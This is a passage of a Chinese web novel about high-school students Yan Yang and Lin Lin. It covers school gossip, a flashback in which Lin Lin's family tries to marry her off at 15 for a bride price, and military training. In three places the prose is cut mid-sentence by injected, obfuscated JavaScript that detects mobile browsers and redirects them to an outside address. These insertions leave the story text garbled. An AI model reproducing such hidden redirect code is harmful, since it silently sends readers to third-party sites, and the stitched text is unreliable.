唐越咳嗽了一声,开始说:“我是从我小叔叔那里听到的,你们都知道嘛,我小叔叔是学校的老师。” 晏阳现在烦得很,不想听他的废话,直接打断,“别废话,说重点。” 唐越被打断也难得没有反驳,正了正神色,严肃道:“我叔叔说,这个中考状元可是学校花大价钱废了九牛二虎之力才请来的,据说啊,我是说听说的,也不知道保不保真,学校为了和隔壁二中抢人,在成绩一出的那一刻就立马给状元的班主任打电话了。“ 他咳了一声,模仿着招生老师的口气:“喂,是林泠同学的班主任吗?我们是虞城一中的招生办老师呀,我们已经知道林泠同学的成绩啦,只要肯来我们一中读书,入学奖励5万,学费、学杂费等等所有的费用通通我们来负责,每读一年就有5万的生活补贴,要是考上A大,再奖励50万!” 唐越把知道的一口气说完,语气慷慨激昂,说话时手舞足蹈,好像是自己亲自跟着学校去抢的人。 盛泽摸了摸下巴,回味着唐越说的话,倒吸一口凉气,“那学校这回够狠的啊,为了挖状元真是下了血本了,高中加大学,这里得有100万了吧。” 晏阳刚看完林泠的发言视频,语气淡淡地问:“100万,很多吗?” 晏家每年做慈善捐款都不止一千万。 唐越也跟着天真地问:“对啊,100万很多吗?” 他认真想了下每年收的压岁钱,家里的亲戚好像给的都是卡,他买东西就拿着刷,没看余额也不知道有多少,但他觉得应该是挺多的,毕竟上次一时兴起想玩躲猫猫,和几个朋友买了个小岛也是直接刷的卡,没有显示余额不足,小岛应该不只100万吧。 盛泽真是和这两个大少爷尿不到一个壶里,“请求切换农村频道。” 唐越:“农村频道是什么?我家的电视里没有频道啊。” 盛泽彻底无语了,“你们两个大少爷肯定不懂我们这些小老百姓的生活情况,很多家庭别说一辈子,可能两辈子都赚不到100万,一年下来除去所有花销,能存下个10万就不错了。” 盛泽和晏阳唐越他们两个人不同,他家是后面才富起来的。 小时候他也是住在看不见阳光的鸟笼里,常常看着父母为了生活起早贪黑,对着老板低三下四,一年到头来腰都累弯了,也赚不了几个钱。连做菜时放的油都要拿他的直尺量,一家三口蜷缩在一张一米多的小床上。夏天还好,可以睡在地上,冬天更是难熬,在四面透风的房子里,三人都紧紧抱住还是冷得直打哆嗦,更别说还要上班上学,手上的冻疮就没好过。 后来借钱做了点小生意,生活才有所改善,在他们的努力经营下店面越做越大,直到他上六年级家里的生活才算真正好起来,至少在这两位大少爷面前能挺直腰。所以当他听到唐越和晏阳说的话时,心里没有气愤,更多的是无奈,有的人生来就在罗马。 唐越恍然大悟的哦了一声,又对着晏阳说,“所以晏哥,你别跟这个状元闹得太僵。” 话是好话,但语气听起来像是告诫或者命令。 晏阳听到状元两个字,脑子里突然响起林泠那双冒着寒气的眼睛,拿手机的手倏地抖了一下,皱着眉提醒:“什么状元,人家有名字,叫林泠。” “哦哦,那你别和林泠闹得太僵。” 晏阳:“?” 唐越用一副过来人的语气说道:“我可听说啊,这个学霸不太好相处,六中的人都说她经常冷着个脸,除了看书就是做题,集体活动什么的也从来不参与,只参加那些什么学科竞赛,估计是和语文书上的那些大文豪一样,骨子里就看不起我们这些个平凡人,而且学校这次为了抢人可谓是废了九牛二虎之力,你要是惹到她,我觉得老师应该不会站在你这边。” 晏阳听完他说的话放下手机,“六中?” 唐越:“对啊,她初中是六中的……” 唐越还没说完就被盛泽打断了:“等下我纠正一下,语文书上的大文豪,没有看不起平凡人,相反,他们正是见多了平民百姓的不容易才写那么多文章为他们发声,你想说的应该是不与世俗同流合污的高洁吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481578|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 盛泽作为一个文学的忠实爱好者,绝对不允许唐越这么诋毁他喜欢的人。 唐越这个人从小就对语文这种文科类的不喜欢,常常一知半解,古诗文理解起来全靠自己的想法,“哎呀,差不多差不多,就是那个意思。” 盛泽今天偏偏紧咬不放:“不行,这是两种完全不同的意思。” 唐越被他整烦了,只好妥协,“好好好,是我不对,我说错了,对不起,我不该这么说,行了吧。” 盛泽哼了一声放过他。 晏阳趁他们吵架的时候找到了六中的公众号,最上面几条的内容几乎都是林泠。 “恭贺林泠同学取得本次的中考状元!” “恭贺林泠同学在虞城市xx主题征文比赛中获得一等奖!” “恭贺林泠同学在虞城市数学竞赛取得初中组一等奖!” “恭贺林泠同学……” 晏阳连刷了5条都没有看到其他内容,直到第六条的封面终于变了。 哦,原来是广告。 唐越被盛泽弄得烦得不行,趁着他喝水的空隙赶紧转移话题,“晏哥,你知道为什么你没被分在体育班吗?” 晏阳一连翻了十几条六中的推文,无一例外都是恭贺林泠取得本次中考状元的喜报,无聊得关了手机。 身体靠在椅子上,腰发力一挺,椅子开始转动,“为什么?” 唐越上前把他的椅子停下,双手重重地按住他的肩膀,认真地说:“我听到我小叔叔跟你姐聊天,说是要把你这懒散的样子调整回来,高中了不能像初中那样天天玩了,是时候努力了。” 唐越说得语重心长,眼神坚定得好像要入党,盛泽听完竟也跟着点点头,一副他说得对的样子。 晏阳靠背的腰突然挺直,脸一下子突到唐越眼前,两个鼻子差点碰到,唐越被这一突如其来的举动吓得立马把脸后缩。 晏阳拍到搭在他肩膀上的手,耸了耸肩活动一下,无所谓地说:“努力什么,我家有我姐,她努力就行了,到时候再给我招个上门姐夫,我没事就打打球、唱唱歌、跳跳舞,要实在是无聊就去环游世界,这样躺平不香吗?” 唐越还想说什么,“香是香,可是,你不怕你姐招个凤凰男回来吗?“ 晏阳伸了个懒腰,给了他一个眼神,“你觉得我姐那精明样,会找到你说的那种人吗?” 盛泽和唐越去找他时,偶然一次见过晏阳姐姐晏晞,气质和晏阳完全不同,当时晏晞正在处理一件案子,明明是很普通的一句话,从她嘴里说出来,竟然会让人有一种想臣服在她脚下的错觉,无意间的眼神对视更是让两人当场软了腰。 唐越咽了咽口水,“也是,就晞姐那气场,我觉得能配得上她的人,估计十万个人里面也找不出一个。” 后来唐越又说了很多废话,晏阳实在不想听,把他们俩都赶出去了。 寝室里瞬间安静了下来,晏阳的手指在桌面上有规律地敲击着,手机上亮着高一怀瑾班的班群,里面没什么人说话,只有几个学生发了几个为什么意义的表情包。 “不主动加我好友?“晏阳低声呢喃了一句,手指点进班群聊天框,再点击右上角的三个点,找到群聊成员的最后一个头像,“那就我来。” “泠泠,你先洗澡吧,我玩会手机,不然明天就没有玩了。“ 舒音往床上一瘫,打开手机就开始和新加上的同学聊天。 林泠拿出睡衣摘掉发圈,长发倾泻下来,遮住了她的大半张脸,口袋里的手机掏出放到桌上充电。 浴室门关上发出的咔哒声正好和手机震动的嗡嗡声同时响起,屏幕上的绿色图标弹出一条消息。 “你收到一条新的朋友申请。” 8. 自救 一中宿舍浴室和厕所是分开的,浴室有放洗漱用品的置物架,另一边是放衣服和帕子的,底下有一个专门放换洗衣物的脏衣篓。 林泠把睡衣放好,面对着花洒解开上衣的扣子慢慢脱下,后背的镜子映出她干瘦的后背,腰细得仿佛一折就能断。 脱衣时的动作让她清瘦玲珑的蝴蝶骨凸起,恍若一只即将展翅高飞的蝴蝶,上面暗褐色的圆点随着动作移动,像只正在蠕动的恶心虫子。 林泠扭动开关,一中的水温都是有部门精准计算的,不用太费力就能调到适合的温度,启动的瞬间花洒立刻喷出如小雨般细密的水。 林泠闭着眼把头凑过去,双手交叉抱住肩膀,水顺着头顶滑过精致的眉眼、高挺的鼻梁,流过唇珠,最后落进指缝里。 享受了良久,林泠才睁开眼,手张开感受水的温热。 垂眸时,长而浓密的睫毛微翘,上面有几滴倔强小水珠不肯走,上眼皮和下眼皮触碰的瞬间,有水珠从睫毛和眼角滴落。 林泠挤出洗发水,打出泡沫抹在头上,搓头发的手顿了顿,浴室里水汽氤氲,镜子里自己的脸看不真切,林泠用手擦拭了一下,半张脸露了出来。 临行前,妈妈曾用粗糙手和带泪的眼抚过自己的脸,她看着看着,思绪被拉回从前。 年久失修的风扇咯吱咯吱地响,吹出来的风都是带着热气。 林泠靠在门边想,还不如直接去外面吹山风。 “泠丫头今年就高三毕业了吧。” 头发接近全白的老婆子躺在竹椅上,那双浑浊的眼睛如激光般地扫过林泠,眼神里充满算计慢悠悠地开口。 “没呢。“端着菜碗进来的女人露出讨好地笑,“今年才15岁,刚刚初中毕业,您忘记啦?一个星期前刚考完试,过几天成绩才出。” 女人穿着不合身的衣服,款式老气颜色艳俗,脸上的皱纹比刚才说话的老婆子还多,一笑起来就会全挤在一起。拿菜碗的手指节粗大,手背上的皮肤干得全贴了进去,放下时在围裙上擦了好几下,然后把旁边一直冷脸站着的林泠拉开,低声呵斥一声:“还不去拿碗。”接着又堆起笑看向坐着的一大家子人。 一直没吭声的林老爷子动了一下,问旁边抽烟的大儿子拿了根烟,跟狗熊蹭树似的在沙发上找了个舒服的角落窝着,眯着眼享受香烟带来的快感。 “什么初中高中,女孩子而已,书随便读读,只要能认字不当睁眼瞎就行了,反正迟早是要嫁人的。” 烟雾缭绕下说话人的脸模糊不清,加上说出的话,那画面和林泠在历史图片上看到的,清朝时在鸦片馆的抽大烟的瘾君子别无二致。 女人没有接话,只是一味地笑。 林泠拿着碗走过去,重重地放在桌子上,几个碗堆叠碰撞起来发出哐当的响声。 旁边抽烟的男人神色一变,吐了个烟圈正要开口,女人抢先他一步训斥,“碗都拿不稳,干什么吃的!”抽过她手里的筷子分发,“大家吃饭,大家吃饭。” 房子不大,桌子就更小了,几碟菜摆上去就占据了三分之二的桌子,根本没地放碗。女人和林泠站到一边给围着桌子的吃饭的五人让位。 女人给林泠夹了两筷子青菜,筷子快放在鸡翅上时立马受到了桌上其他几人的威胁的眼神,女人讪讪地笑了下赶紧放下,把筷子移向另一边小小的鸡块上。 林泠没有接那个来之不易的小鸡块,把它放进女人的碗里,只用那两筷子青菜混着米饭吃。 “咳咳!我今天叫你们来就是想说个事啊。” 林老爷子把碗放下,喝了口米酒清嗓子,明明是穿着宽松的背心,却还是要故作正式的扯两下领口。 林泠面无表情地看着他装模作样:没憋什么好屁。 “我和你妈啊,给泠丫头找了门亲事,就是老大车间组长的儿子,那个小伙子啊我见过,长得那是一表人才,泠丫头嫁过去,就是享福嘞!” 话音刚落,一直打量林泠的老婆子也露出贪婪的笑,跟着附和:“是啊老大媳妇,人家啊,可愿意给18.8w彩礼呢,要是嫁过去给他们家生个大胖小子,老大在厂里啊,就不用那么辛苦嘞!” 老婆子边说边走到女人身边,伸出的十根手指指甲裂开,像是十条毒蛇,吐出的蛇信子慢慢地舔过女人的手背,“等过几年小海要娶媳妇,也有钱了!” 女人不动声色地把那双手推开,熟练地堆砌起讨好的笑,眼尾的皱纹仿若鱼奋力游动的尾巴,连眼睛里都带着哀求,“妈,你这说的什么话呀,泠泠才15岁呢,怎么能嫁人呢,而且你说的那个人我前不久才见过,长相太过磕掺就不说了,整天游手好闲的,也没个正经工作,连刚生下的女儿都不管,我们泠泠怎么能……” 听到女人的话,刚刚还带着虚伪的笑的老婆子终于现出了原形,变回了凶神恶煞的模样,眼里都透着剧毒,恶狠狠地说:“楚招澜!你别忘了你是我们林家媳妇!小海才是我们林家的香火!15岁怎么了?你嫁过来不也和这个年纪差不多吗?再说了她一个女娃子有什么用!养大她不花钱?现在能嫁出去换彩礼,以后给小海娶媳妇,就是她对我们最好的报答!” 一直不说话直到触及自己利益的林海也跟着搭腔:“是啊大伯母,奶奶说的没错,你作为晚辈,要懂得体谅长辈,况且奶奶年纪大了,早点看到外孙说不定还能多活几年。” 林海一番话说得冠冕堂皇,但语调却满是不屑。 既得利益者总是可以高高在上,毫无负担地指责别人。 林泠站在旁边单手拿着碗筷,揉了揉耳朵,这种话她从小到大不知道听了多少次,没文化又封建就是这样,一句话颠来倒去地说,听得人心烦。 她神色淡漠地扫过底下的这一桌人,每个人都面目狰狞,心里的那点算计一点也不掩饰,全都摆在了脸上。 事情被戳破了,林老爷子也不装了,生气的把手边的玻璃杯一砸,碎片四处飞溅,“林大强!你怎么管你媳妇的?你就看她这样欺负你妈,欺负我吗?我们好心给泠丫头安排,她这说的话是什么意思?啊!是不是说我们要卖她女儿?!” 被碎片划到脸的林大强摸了下脸,红色的血液在黢黑的手上尤为明显,五官扭曲大骂了一声,愤怒地举起手就要打楚招澜。 众人幸灾乐祸地看着他的动作,脸上满是期待,对这样的画面司空见惯。 楚招澜像母鸡护崽一样挡在林泠面前,身体本能地颤抖,尽管她瘦弱的身躯什么也保护不了,她闭眼把脸撇过去,静待着巴掌的降临。 熟悉的巴掌没有如约而至,快落下的那一刻,林泠从楚招澜身后站出来,纤细的手把那只粗壮的手臂截住,冷若冰霜地看着林大强。 林大强打人打习惯了,第一次被人忤逆,怒火达到了极点,“嘿!你……” 林泠不想听他说的话,手指用力收缩把他甩回沙发上,接着甩了甩有些酸痛的手,楚招澜立马上前看林泠的手。 林泠递给她一个安慰的眼神,拍了拍楚招澜的手,把她扶到沙发上,淡淡开口:“我的成绩出了,老师说很有可能是这次的中考状元,一中校长刚刚联系她了,说只要我愿意去一中读书,学费全免,入学奖励5万,每读一年奖励5万,但如果没读够三年就算违约,要赔50万。” 后面违约的那句话是林泠自己加的,现在她还没成年,怕这群贪得无厌的人做出什么事来。 “什……什么?” 林老爷子其他的什么都没听进去,只听到5万、50万那几个数字。林大强一等人也不管刚才林泠的行为了,瞪大了眼睛各自对视,像是在消化刚才的消息。 林海的表情最为兴奋,他在心里盘算着林泠高中三年能拿多少钱,算完后激动得把破洞裤上的洞都扯得更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她心里既难过又开心,女儿有本事了,可以保护她,也能保护自己了。 林泠说完没再去看他们的脸色,她知道他们在这么大的利益面前一定会答应。 果不其然。 沉寂了许久的放桌上终于爆发出来响声。 “好!答应,一定答应!”林老爷子哈哈大笑,“从小我就知道泠丫头是个有福气有本事的,才15岁就能给家里挣这么多钱,好啊好啊!真是我的好孙女!” 林老婆子还想拉着林泠说一些刻意逢迎的话,但林泠不想听,直接拉着楚招澜走了,留下那一桌子人,为了那笔还没拿到手的钱而吵的面红耳赤。 “泠泠,去了一中就是脱离了苦海,要好好吃饭,让自己长得胖一点,这样就不会有人欺负你。” 楚招澜软弱了一辈子,从嫁进林家的那一天起就在被压迫,生了女儿后情况更严重了,轻则骂重则打,身上几乎没有一处好肉,三十岁左右的年纪看起来比五十岁的人还老。 她不敢反抗,不敢抱怨,在无数个被打的日日夜夜里,只能用力咬紧牙关告诉自己会过去的,忍忍就过去了。她也不敢在女儿面前哭,怕女儿担心难过,也怕女儿心理扭曲不能健康长大,但还好,还好女儿自己有本事,不仅护得住自己,也能护得住她。 楚招澜粗糙的手轻抚过林泠的脸,那种感觉跟刀子刮在脸上没两样。 林泠依恋地握住楚招澜的手,把脸埋在她的胸口处,感受着她跳动的心,是一种很安心的感觉,将心中的早就规划好的想法用温柔的语气说出::“妈,等我高中毕业,就带你离婚,你去我大学附近租个房子,我放学就回去吃饭,等到放假我就带你出去旅游,毕业了我会找个好工作,到时候我给你养老。” 楚招澜哽咽着,紧紧抱住怀里的人,带着哭腔回应:“好……好!” 9. 军训开始 林泠吹完头发后舒音还躺在床上玩手机,聊着聊着还滚动了几下,她觉得有些好笑。 “怎么了,开学第一天这么高兴?” 舒音一个鲤鱼打挺起来,说话的语调都带着雀跃,“不是啦,是我们刚刚在聊天,哦对了,我们刚刚又拉了一个群,泠泠我拉你进去了,等会你同意一下。” “什么群?” “就是没有老师的群啊!” 林泠解锁手机,如果有群邀请提示,另外还有一条好友申请。 【一中校霸请求添加你为好友。】 【来自群聊:高一怀瑾班】 “什么乱七八糟的,”林泠点进群聊找这个人,发现他还没有备注自己的名字,先看看是谁在搞幺蛾子,接受好友后发了个问号过去。 【泠:?】 对方像是一直守在手机旁边等着她的消息,一发出就很快回复。 【一中校霸:我是晏阳。】 林泠看着上面显示对方正在输入中的字样,想起今天那人的所作所为,心里对晏家有些祛魅。 【泠:哦,删了。】 发过去后不等对面解释,干脆利落地删掉了好友。 “泠泠,你的军训服在哪里,我一起放进洗衣机里洗,等会烘干一下明天就可以穿了。” 林泠把衣服递给舒音,打开行李箱收拾为数不多的衣服。 好友申请一通过,晏阳就把唐越说的话全都忘到了九霄云外,在聊天框里哐哐打着字,手指都快飞出残影,战书还没写完就收到了林泠发来的消息,赶忙删掉写了三分之二的战书,扣了个问号过去,可惜还是太晚了,已经被删掉了。 晏阳猛的一拍桌子,“草!” 开学第二天就开始为期一月的军训,舒音使劲在脸上摸防晒霜,抹了一层短暂地出去感受了毒辣的太阳又跑回来抹了一层。 林泠在旁边哭笑不得,“有这么夸张吗?” “有啊!我看了一下近一周的天气,天天都是大太阳!都怪他们种太阳,这下好了,我们可有罪受了。” 林泠歪头:“种太阳?” 舒音挤了一大坨防晒霜抹在林泠脸上,“对啊!我知道自己考上一中的时候就去微博关注了一中的超话,结果里面一群种太阳的。” 【为新生军训收集阳光(向日葵)】 【这是向日葵女王,转发可以让阳光直接翻倍(图片)】 【转发这个向日葵炸弹,为新生军训收集阳光(图片)】 【我在为新生军训种太阳,你也来助力一下吧~】 【…………】 林泠:“……” 舒音义愤填膺,“等我上了高二,我就不会做这样的事!” 林泠把脸上的防晒霜抹匀,她个人是觉得防晒霜这种东西都是骗人的,纯粹浪费钱,她是天生晒不黑的体质,即使没有这种东西也不用担心。 舒音还在谴责微博里种太阳的人,蓦地意识到什么,担心地问道:“泠泠,你的低血糖没事吧?” 林泠摸防晒霜的手一顿,是啊,她怎么把这件事给忘了,怔愣了会才开口,“应该没事吧。” 舒音脸上的担忧还是没有降下,其他人不知道,但她可是亲眼见过林泠低血糖犯病时的样子。 初中有次升国旗时,有个老师在上面一时兴起临场发挥,硬生生讲了快一个钟头。舒音作为巡检人员站在队伍最后,她本来有些打瞌睡,林泠毫无预兆的就栽倒在她前面,吓得她手里的本子都丢了,比林泠还矮一个头的她一把公主抱起,在所有人都还在慌乱的情况下直冲医务室。 轻飘飘的身体和泛白的嘴唇,这辈子她都不想再感受到和看到。 舒音不放心,找出她昨天买好的椰子糖和藿香正气水塞进书包里,“泠泠,等会你不舒服一定要跟教官说,不要强撑啊,我书包里有椰子糖,到时候你拿着吃就行,一定不可以硬撑!” 她说话的态度坚决,连眉毛都在用力,好像有低血糖的不是自己,是她。 林泠不好拂了她的好意,无可奈何道:“知道啦知道啦,快走吧,吃完早饭就集合了。” 舒音嗯嗯了一声,拿上水杯准备出发。 “等一下。” 舒音回头:“?” 林泠折回去,找出花露水倒了点在手上,又往脖子上涂了点。 舒音:“应该没有蚊子吧。” 林泠盖好盖子,“提神。” 舒音不理解但尊重。 _ 昨晚被林泠删了好友后,晏阳一晚上没睡好,连梦里都是被林泠用眼神嘲讽的画面。 “晏哥!晏哥!快起床啦,今天军训开始!” 唐越的敲门声哐哐哐的响,晏阳一下子就被吓醒了,坐在床上好一会儿才确定不是地震,慢步爬下楼梯开门。 门外的盛泽和唐越两人着装整洁朝气蓬勃,元气满满。 门内的晏阳穿着睡衣顶着个睡炸的鸡窝头,怨气满满。 三人六目相对,面面相觑,相顾无言。 晏阳:惟有泪千行。 半晌,唐越指着晏阳的头发和脸,嘴巴张张又合合,犹豫不决道:“晏哥,你这头发和黑眼圈是……昨晚没睡好?” 晏阳没理他,转身去阳台洗漱,挤了点牙膏刷牙,薄荷味的牙膏在口中蔓延。晏阳抬头,看着镜子里自己宛如怨妇的脸。 总不能直接跟他俩说自己屈尊降贵去加人家好友,结果还没聊两句就被删了,为此还做了一夜的噩梦才没睡好吧。 这么糗的事被这俩货知道了,还不知道要怎么笑话自己。 晏大少能被人这么嘲笑吗? 骄傲的晏大少用力地戳动牙刷,蓦地停住。 不对,好像已经被嘲笑了。 草! “收拾好没呀晏哥,时间快到了,我们给你买的包子都要凉了。” “来了。” 晏阳抽出洗脸巾随意抹了把脸,看着镜子里自己又恢复了往日的帅气,满意地点点头,拿过包子把他们赶出去,边走边吃。 “嘿!我就说晏哥没起吧,我给他发消息都没回,还好我买了包子,不然军训第一天又迟到又挨饿的,我都不敢想象。” 唐越边走边邀功,抛给晏阳一个求夸奖的眼神。 晏阳伸手在空中抓了一下,顺手和吃完包子的袋子一起丢进了垃圾桶。 盛泽发出一声爆笑:“哈哈哈哈哈哈哈哈哈!” 体育班和怀瑾班刚好挨在一起,只不过一边有一小片树荫,一边光秃秃的,什么也没有。 当然有树荫的是怀瑾班。 “靠,凭什么怀瑾班可以有树荫啊,一点也不公平!” “对啊对啊,都是新生军训,还这么区别对待。” “一中真无语。” “……” 见到怀瑾班的学生可以在树荫下军训,其他的立马不乐意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481580|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,操场上顿时响起一片反抗之声,有的人甚至握拳举手,倒有揭竿起义的意思。 徐若薇用手卷成望远镜状,踮起脚往怀瑾班那边看去,树荫下有个露着白色胳膊正和旁边女生说话的人。 “薇薇!你在看什么?快集合了!” 彭蕊高喊了一声,徐若薇依依不舍地多看了两眼,放下手归队。 也不知是其他人的不满起了作用,还是本来那块树荫就没打算站人,教官把怀瑾班和体育班划到了同一条线上。 林泠个子高,站在了倒数第二排,晏阳在最后一排,正好在林泠后面。 怀瑾班的教官有两个,男女各一个,说话的声音很有气势,像是要把人的耳膜震碎。 男教官围着方阵走了一圈,“大家好,我是你们班的教官,我姓闫,你们可以叫我闫教官,“ 他指了指身边的女教官,女教官对着他们鞠了一躬,“我和孙教官都是一中毕业的,目前就读于A大,也算得上是你们的学长学姐,但我们也不会对你们手下留情,在这为期一周的军训时间里,我们会用部队的方法对你们进行训练,如果身体撑不住或者有什么特殊情况的,要马上打报告,例如女生的生理期,但是如果你是男生,跟我说你大姨夫来了,站不住!我就会让你知道什么才是真正的站不住!” 闫教官说的话幽默风趣,队伍里有几个同学绷不住笑了出来。 “是谁在笑?!”闫教官神色一凛,眼睛如同孙悟空的火眼金睛在人群中扫视。 刚刚笑的几个男生还没意识到事情的严重性,散漫地举手,“教官是我。”说完又笑了一声。 孙教官虽是个女生,但力气却不小,一只手拎一个,一下子就把刚才嬉笑的男生抓了出来。 一共四个排成一排,面对着两个教官站着。 闫教官和他们冷眼对视,厉声道:“我说了,有事打报告,教官问你们,回答也要打报告!听清楚没有。” 四人终于清醒了,身体挺得跟株小白杨似的,昂首挺胸,齐声道:“报告,听清楚了!” “好!既然听清楚了,现在你们四个人,每个人十个俯卧撑,开始!” 闫教官丝毫不留情面,一声令下,四人不敢不从,立刻趴好开始做。 有了这次杀鸡儆猴,接下来闫教官在说话的时候每人敢打岔,每个人都打起了十二分的精神,连旁边的体育班都被吓到了,不敢再看热闹,生怕教官抓到。 四人做完归队后,闫教官宣布最后一点军训事宜:“还有,虽然我们算是你们的学长学姐,但你们也不要在私底下,或者军训结束后偷偷加我们的好友,有什么事情,我们都会通过你们的班主任传达给你们,收到回答!” “报告,知道了——” 上午的军训没说什么事,大多都是教官和学生说一些注意事项,然后就是开始站军姿。 早上太阳还不不是很大,又有风吹过,除了脚有些麻以后,林泠没觉得哪里不舒服。 晏阳虽然身体挺拔,两只手也老实地贴在裤缝上,但眼睛却时不时地瞟向林泠,两人身高差不多,所以只能看到她的的后颈脖。 那段雪颈修长,浓密的头发被卷成一个低丸子头,只剩下一些碎发贴在脖子上,花露水清香扑鼻,他鼻翼翕动,从小训出来的定力有些动摇。 什么牌子的香水,这么好闻。 “最后一排的那个男生,盯你半天了,不好好站军姿眼神往哪看!” 10. 好友申请 闫教官的声音粗哑凌厉,一个箭步就冲到了晏阳面前。 晏阳镇定自若,目视前方,大声道:“报告教官,我眼睛有点痒!“ 闫教官目光如铁地盯着他,想从他的脸上找到破绽,晏阳依旧眼神坚毅。 沉默良久,闫教官才开口:“揉!但是你刚才动的时候没有打报告,揉完后前面俯卧撑十个!” 晏阳回答了声收到,火速揉了两下上去做了十个俯卧撑。 腰背挺直,起落稳健,动作标准规范,十个俯卧撑做得一气呵成,做完后迅速起身站好军姿:“报告!做完了请求归队!” 闫教官眼里闪过一丝欣赏的光,满意地点点头:“归队!” 站了四十分钟军姿,大多数学生都有些撑不住,总教官巡视一圈做了个手势,让大家原地喝水休息。 “这也太累了吧。” “我们刚刚站了有快一节课吧,我刚听到下课铃声。” “肯定有的,累死我了。” “这才第一天,后面还有5天,该怎么过啊。” 刚坐下就有学生互相抱怨,林泠喝了口水,接过舒音给的糖含进嘴里。 舒音放下水扭动了一下身体就要挤到林泠身边,总教官呵斥一声,给了她一个警告的眼神,吓得她立马停止动作条件反射地挺直背。 “不想休息的话就给我接着站军姿!” 抱怨声立马小了。 有几个女生见姚教官在休息,互换了眼神,派了一个胆大的开口:“姚教官,A大怎么样啊?” 有人发问,其他人的刷刷刷地看向两位教官,个个跟好奇宝宝似的睁大眼睛。 姚教官润了润嗓子,正想着要怎么开口,严肃的闫教官接过那个女生的话,“A大很好啊,学校也很大,老师也很好,风景优美,而且里面两道很著名的大道。” “一条是桃花大道,种的都是桃树,每年三四月的桃花开的时候很漂亮,全都是粉色的一片,很多人去拍照打卡;另一条就是枫叶大道,和桃花大道差不多,里面种了很多枫树,但它在学校的另一边,如果你们要去看的话,我建议在十一月底到十二月中,这段时间的枫树最好看了。” “哇!” “好想去啊!” “对呀,一定很出片!” 听完闫教官的介绍学生们都发出哇的声音,刚刚提问的女生打趣道:“教官你还知道拍照打卡呢!” “哈哈哈哈哈哈哈!” 姚教官也跟着笑,闫教官疑惑地看向她,意思是我看起来很老吗? “同学们,我想你们可能对我们有误解,我们才21岁,刚刚大学毕业,也比你们大不了几岁,看起来像是那种天天戴着老花镜,眯着眼睛在家里看报纸的吗?” 闫教官无奈,表情生动活泼,把刚刚训练时的严肃气氛都冲淡了不少。 “闫教官,我们没有对姚教官有误解啊,姚教官一看就很年轻啊!” 这句话一出,又引起一阵笑声。 “哈哈哈哈哈哈哈!” “哈哈哈哈!” 也不怪学生这么觉得,姚教官是健康的小麦肤色,说话时会有活人的表情,而闫教官皮肤黑黝黝的,走过去会被人误解为一块黑炭在走路,但偏生牙齿又特别白,说话时表情严肃,不苟言笑的,就给人一种很古板的感觉。 闫教官被开玩笑,佯装微怒,“那这样的话,等会我让姚教官监督你做俯卧撑。” 开玩笑的同学连忙摆手,“别别别,教官我错了!” 气氛欢乐祥和,舒音直接笑倒在林泠怀里,林泠怕她摔倒一直抱着她,自己也捂着嘴笑。 晏阳看着前面两具身影,那股香味好像淡了一点,但又好像还在。 一整天的军训就这样笑笑闹闹地过去了,一中没有晚训,下训后就让学生各自回去了。 晚上晏阳洗澡完后呆坐在椅子上,看着黑屏的手机,脑子里乱七八糟的,白天的那股香味萦绕不断,仔细回想过在他姐房间里闻到过的香水,没有一款对得上林泠身上的味道。 他打开手机在百度上搜索: 【女生身上有香味是什么意思?】 打了一半又觉得不妥,全部删掉换另一种说法。 【为什么会从别人身上闻到香味?】 底下的评论乱七八糟的,有的说是喷的香水,有的说是洗护用品的味道或者体香,最离谱的一个回答是信息素的味道。 啥玩意儿,信息素? 这就触及到晏大少的知识盲区了,但作为一个热爱学习的人,他怎么可能让这个问题困住自己,立马选中这三个字点击了搜索。 好家伙,这都是些什么啊? 晏阳拿着手机的手指在屏幕上来回滑动,皱着眉仔细研究上面的每一个字,认真状态堪比中考。 怎么每一个字都认识,连在一起都看不懂了? “ABO文学,这都什么跟什么,破贴子害人不浅,上网的都是祖国的花朵,岂容你们迫害?吃举报去吧!” 正义的晏大少为了维护世界和平与青少年的心理健康,十分好心地给那个热情介绍ABO文学的帖子点了个举报。 在椅子上转了两圈抓耳挠腮思来想去,强烈的求知欲让他怎么也放不下心里那个结,也不管林泠抢他风头和第一次拒绝加他好友,第二次删他好友的事了,再次点进那个头像选择了添加好友,发送的时候他停了下,又退回去把申请添加好友的信息删了,重新输入了一段文字,用力点击发送。 晏阳把手机息屏,哼哼了两声,势在必得:“这回你总不能删我了吧!” “泠泠!你的手机有消息!” “来了!” 林泠刚晾好衣服手上还有水,用纸巾擦了下才拿起手机。 看到后消息提醒后,林泠眼睛微眯。 熟悉的头像熟悉的人,唯一陌生的就是那条申请信息了。 【通过一下呗,我有很重要的事情问你。】 他能有什么重要的事,林泠没管,拿出书看。 舒音在一旁打游戏,因为战情焦灼,情绪比较高涨,声音也不免有些大。 “你上呀上呀!哎呀菜死了!” “你个坦克怕什么呀,躲在我们两个脆皮后面!” “不好意思啊,我忘记我是坦克了,下局我一定好好发挥,再带带我嘛,求求两位女神了。” 